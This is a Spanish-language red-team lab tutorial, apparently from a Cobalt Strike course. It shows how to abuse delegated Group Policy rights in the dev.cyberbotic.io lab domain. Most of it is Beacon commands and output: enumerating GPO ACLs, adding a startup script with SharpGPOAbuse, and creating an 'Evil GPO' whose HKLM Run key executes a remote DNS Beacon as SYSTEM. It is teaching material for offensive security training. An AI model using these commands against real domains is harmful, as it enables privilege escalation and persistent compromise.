Group Policy
Abusing Group Policy
Group Policy es el repositorio central en un bosque o dominio que controla la configuración de computadoras y usuarios. Los Group Policy Objects (GPOs) son conjuntos de configuraciones que se aplican a Organisational Units (OUs). Por defecto, solo los Domain Admins pueden crear GPOs y vincularlos a OUs, pero es una práctica común delegar esos derechos a otros equipos. Esta delegación se asigna típicamente a grupos de dominio; por ejemplo, un grupo "Workstation Admins" puede tener derechos para administrar GPOs que se aplican a una OU "Workstation". Estas configuraciones pueden crear oportunidades de escalación de privilegios al permitir que un usuario aplique GPOs maliciosos a usuarios Domain Admin o a sus computadoras.
Modify Existing GPO
Modificar un GPO existente que ya está aplicado a una o más OUs es el escenario más directo. Para buscarlos, necesitamos enumerar todos los GPOs en el dominio con Get-DomainGPO y verificar el ACL de cada uno con Get-DomainObjectAcl. Queremos filtrar aquellos para los cuales un principal tenga privilegios de modificación como CreateChild, WriteProperty o GenericWrite, y también queremos filtrar los principales legítimos, incluyendo SYSTEM, Domain Admins y Enterprise Admins.
beacon> powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
AceType : AccessAllowed
ObjectDN : CN={5059FAC1-5E94-4361-95D3-3BB235A23928},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
OpaqueLength : 0
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask : 131127
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
Se ha devuelto un resultado. Vamos a resolver el nombre del GPO y el SID del principal.
beacon> powershell Get-DomainGPO -Identity "CN={5059FAC1-5E94-4361-95D3-3BB235A23928},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" | select displayName, gpcFileSysPath
displayname gpcfilesyspath
----------- --------------
Vulnerable GPO \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{5059FAC1-5E94-4361-95D3-3BB235A23928}
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
Esto nos muestra que los miembros del grupo "Developers" pueden modificar "Vulnerable GPO".
También queremos saber a qué OU(s) se aplica este GPO, y por extensión, qué computadoras están en esas OUs. Los GPOs se vinculan a una OU modificando la propiedad gPLink de la propia OU. El cmdlet Get-DomainOU tiene un útil parámetro -GPLink que toma un GUID de GPO.
beacon> powershell Get-DomainOU -GPLink "{5059FAC1-5E94-4361-95D3-3BB235A23928}" | select distinguishedName
distinguishedname
-----------------
OU=Workstations,DC=dev,DC=cyberbotic,DC=io
Finalmente, para obtener las computadoras en una OU, podemos usar Get-DomainComputer y utilizar el nombre distinguido de la OU como base de búsqueda.
beacon> powershell Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName
dnshostname
-----------
wkstn-1.dev.cyberbotic.io
wkstn-2.dev.cyberbotic.io
Para modificar un GPO sin el uso de GPMC (Group Policy Management Console), podemos modificar directamente los archivos asociados en SYSVOL (el gpcFileSysPath).
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{5059FAC1-5E94-4361-95D3-3BB235A23928}
Size Type Last Modified Name
---- ---- ------------- ----
dir 09/07/2022 12:40:22 Machine
dir 09/07/2022 12:40:22 User
59b fil 09/07/2022 12:40:22 GPT.INI
Podemos hacer esto manualmente o utilizar una herramienta automatizada como SharpGPOAbuse, que tiene varias técnicas de abuso integradas.
Aquí hay un ejemplo utilizando un Computer Startup Script. Esto colocará un script de inicio en SYSVOL que se ejecutará cada vez que una computadora afectada se inicie (lo que incidentalmente también actúa como un buen mecanismo de persistencia).
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "start /b \\dc-2\software\dns_x64.exe" --GPOName "Vulnerable GPO"
[+] Domain = dev.cyberbotic.io
[+] Domain Controller = dc-2.dev.cyberbotic.io
[+] Distinguished Name = CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
[+] GUID of "Vulnerable GPO" is: {5059FAC1-5E94-4361-95D3-3BB235A23928}
[+] Creating new startup script...
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new startup script. Wait for the GPO refresh cycle.
[+] Done!
Info
Nota que puedes encontrar este recurso compartido software usando PowerView:
beacon> powershell Find-DomainShare -CheckShareAccess
Name Type Remark ComputerName
---- ---- ------ ------------
software 0 dc-2.dev.cyberbotic.io
Puede ubicarse en cualquier ubicación remota siempre que sea accesible por las computadoras objetivo.
Inicia sesión en la consola de Workstation 1 y ejecuta gpupdate /force desde un Command Prompt. Luego, reinicia la máquina. Después de que se inicie, el DNS Beacon se ejecutará como SYSTEM.
SharpGPOAbuse tiene otras funciones como agregar una tarea programada inmediata que puedes experimentar.
Create & Link a GPO
Group Policy Objects están almacenados en CN=Policies,CN=System - los principios que pueden crear nuevos GPOs en el dominio tienen el privilegio de "Create groupPolicyContainer objects" sobre este objeto. Podemos encontrarlos con el cmdlet de PowerView Get-DomainObjectAcl buscando aquellos que tienen derechos de "CreateChild" en el "Group-Policy-Container" y luego resolviendo sus SIDs a nombres legibles.
beacon> powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
DEV\Developers
Info
Esto muestra que los miembros del grupo "Developers" pueden crear nuevos GPOs.
Poder crear un GPO no logra nada a menos que pueda ser vinculado a una OU. La capacidad de vincular un GPO a una OU está controlada en la propia OU otorgando privilegios de "Write gPLink".
Esto también se puede encontrar con PowerView obteniendo primero todas las OUs del dominio y canalizándolas a Get-DomainObjectAcl nuevamente. Itera sobre cada una buscando instancias de "WriteProperty" sobre "GP-Link".
beacon> powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl
ObjectDN : OU=Workstations,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
Info
Esto muestra que los miembros del grupo "Developers" pueden vincular GPOs a la OU "Workstations".
Los GPOs pueden ser gestionados desde la línea de comandos mediante los módulos RSAT de PowerShell. Estos son una instalación opcional y, por lo tanto, generalmente solo se encuentran en estaciones de trabajo de administración. El cmdlet Get-Module mostrará si están presentes.
beacon> powershell Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
Key Value
--- -----
Backup-GPO Backup-GPO
Block-GPInheritance Block-GPInheritance
Copy-GPO Copy-GPO
Get-GPInheritance Get-GPInheritance
Get-GPO Get-GPO
[...]
Usa el cmdlet New-GPO para crear y vincular un nuevo GPO.
beacon> powershell New-GPO -Name "Evil GPO"
DisplayName : Evil GPO
DomainName : dev.cyberbotic.io
Owner : DEV\bfarmer
Id : 550f6672-bdd0-4e3d-8907-628ee6909f26
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 9/8/2022 1:30:17 PM
ModificationTime : 9/8/2022 1:30:17 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 0, SysVol Version: 0
WmiFilter :
Algunos abusos pueden ser implementados directamente utilizando RSAT. Por ejemplo, el cmdlet Set-GPPrefRegistryValue puede ser usado para agregar una clave autorun en HKLM al registro.
beacon> powershell Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\software\dns_x64.exe" -Type ExpandString
Luego, aplica el GPO a la OU objetivo.
beacon> powershell Get-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=cyberbotic,DC=io"
GpoId : 550f6672-bdd0-4e3d-8907-628ee6909f26
DisplayName : Evil GPO
Enabled : True
Enforced : False
Target : OU=Workstations,DC=dev,DC=cyberbotic,DC=io
Order : 4
Recuerda que los autoruns en HKLM requieren un reinicio para ejecutarse.
